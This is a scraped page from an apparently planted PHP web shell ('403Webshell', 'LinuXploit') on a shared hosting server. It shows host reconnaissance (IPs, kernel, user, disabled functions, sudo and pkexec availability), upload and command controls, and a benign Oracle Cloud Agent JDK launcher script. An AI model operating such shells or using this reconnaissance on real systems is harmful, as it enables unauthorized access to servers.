403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/oci-jms/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/oci-jms/oci-jms
#!/usr/bin/env bash
#
# Copyright (c) 2022, Oracle and/or its affiliates. All rights reserved.
# ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
#
GENERIC_PACKAGE_NAME="jdk-17"
INSTALL_PACKAGE_NAME="$GENERIC_PACKAGE_NAME-headless"
INSTALL_OL6_SPECIFIC_PACKAGE_NAME="jdk-20"

SYS_OS_RELEASE_CONFIG="/etc/os-release"
if [ -f $SYS_OS_RELEASE_CONFIG ]; then
 if egrep -q 'VERSION=\"6.[0-9]+\"' $SYS_OS_RELEASE_CONFIG
  then INSTALL_PACKAGE_NAME=$INSTALL_OL6_SPECIFIC_PACKAGE_NAME
 fi
fi

# definition of directories for oci-jms plugin
export LOGDIR=/var/log/oracle-cloud-agent/plugins/oci-jms/
export JARINSTALLDIR=/var/lib/oracle-cloud-agent/plugins/oci-jms/install
export STATEDIR=/var/lib/oracle-cloud-agent/plugins/oci-jms/state

function isJava11OrHigher() {
  local java_executable=$1
  if [[ -x "$java_executable" ]]; then
    version_props=$("$java_executable" -XshowSettings:properties -version 2>&1)
    version_string=$(echo "$version_props" | grep -F "java.version =" | awk -F '= ' '{print $2}')
    version_digit=$(echo "$version_string" | awk -F. '{printf("%03d%03d",$1,$2);}')
    vendor_string=$(echo "$version_props" | grep -F "java.vendor " | awk -F '= ' '{print $2}')
    if [ "$vendor_string" == "Oracle Corporation" ] && [ "$version_digit" -ge 011000 ]; then
      JAVA_EXEC="$java_executable"
    fi
  fi
}

function checkIfJdkInstalled() {
  read -r -d "\n" -a java_exec_array <<<"$(rpm -qla "jdk-*" | grep "/bin/java$")"
  for i in "${java_exec_array[@]}"
  do
     isJava11OrHigher "$i"
     if [[ -n "$JAVA_EXEC" ]]; then
      break
     fi
  done
}

if [[ -n "$JAVA_HOME" ]] && [[ -x "$JAVA_HOME/bin/java" ]]; then
  isJava11OrHigher "$JAVA_HOME/bin/java"
fi

if [[ -z "${JAVA_EXEC}" ]]; then
  if type -p java 1>/dev/null; then
    isJava11OrHigher "$(which java)"
  fi
fi

if [[ -z "$JAVA_EXEC" ]]; then
  checkIfJdkInstalled
fi

if [[ -z "$JAVA_EXEC" ]]; then
  yum -y install "$INSTALL_PACKAGE_NAME"
  checkIfJdkInstalled
fi

if [[ -n "$JAVA_EXEC" ]] && [[ -x "$JAVA_EXEC" ]]; then
  JAVA_OPTS_MODULES="--add-modules jdk.jcmd,jdk.attach"
  JAVA_OPTS_OPENS="--add-opens jdk.attach/sun.tools.attach=ALL-UNNAMED  --add-opens jdk.attach/com.sun.tools.attach=ALL-UNNAMED --add-opens jdk.jcmd/sun.tools.common=ALL-UNNAMED --add-opens jdk.jcmd/sun.tools.jcmd=ALL-UNNAMED"
  PLUGIN_DIR=$(dirname "$0")
  cd "${PLUGIN_DIR}" && exec "${JAVA_EXEC}" ${JAVA_OPTS_MODULES} ${JAVA_OPTS_OPENS} "$@"
else
  echo "oci-jms: no plugin execution jdk found! :fatal - exiting" && exit -1
fi

Youez - 2016 - github.com/yon3zu
LinuXploit